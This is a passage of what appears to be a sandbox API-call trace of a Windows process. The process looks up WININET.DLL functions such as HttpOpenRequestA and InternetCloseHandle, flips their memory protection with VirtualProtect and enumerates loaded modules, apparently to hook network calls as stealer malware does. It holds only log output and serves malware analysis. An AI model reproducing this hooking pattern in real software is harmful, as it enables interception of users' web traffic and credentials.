lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="GopherOpenFileA", lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="GopherOpenFileW", lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="HttpEndRequestA", lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="HttpEndRequestW", lpString2="HttpOpenRequestA") returned -1 [0073.573] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="HttpOpenRequestA") returned 0 [0073.573] VirtualProtect (in: lpAddress=0x768e2970, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.573] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.573] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.573] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.573] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: hHeap=0x2390000) returned 1 [0073.573] VirtualProtect (in: lpAddress=0x76998628, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.574] VirtualProtect (in: lpAddress=0x76998628, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.574] VirtualProtect (in: lpAddress=0x768e2970, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.574] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.574] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.574] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb10 [0073.574] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0073.574] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0073.574] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetCloseHandle") returned -1 [0073.574] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetCloseHandle") returned -1 [0073.574] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetCloseHandle") returned -1 [0073.574] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="DllInstall", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetCloseHandle") returned -1 [0073.575] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetCloseHandle") returned -1 [0073.576] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetCloseHandle") returned -1 [0073.577] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetCloseHandle") returned 0 [0073.577] VirtualProtect (in: lpAddress=0x768e29c0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.577] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.577] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.577] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.577] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: hHeap=0x2390000) returned 1 [0073.577] VirtualProtect (in: lpAddress=0x7699862d, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.578] VirtualProtect (in: lpAddress=0x7699862d, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.578] VirtualProtect (in: lpAddress=0x768e29c0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.578] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.579] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x1000) returned 0x278d658 [0073.579] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x278d658, cb=0x1000, lpcbNeeded=0x26fccc | out: lphModule=0x278d658, lpcbNeeded=0x26fccc) returned 1 [0073.579] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0xd60000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0xd60000, AllocationBase=0xd60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.579] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.580] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.580] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.580] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.580] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.580] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.580] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.581] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.581] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.581] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.581] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.581] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.581] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.581] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.582] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.582] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.582] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.582] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.582] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.582] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.582] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.582] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.582] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.582] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.583] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.583] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.583] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.583] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: 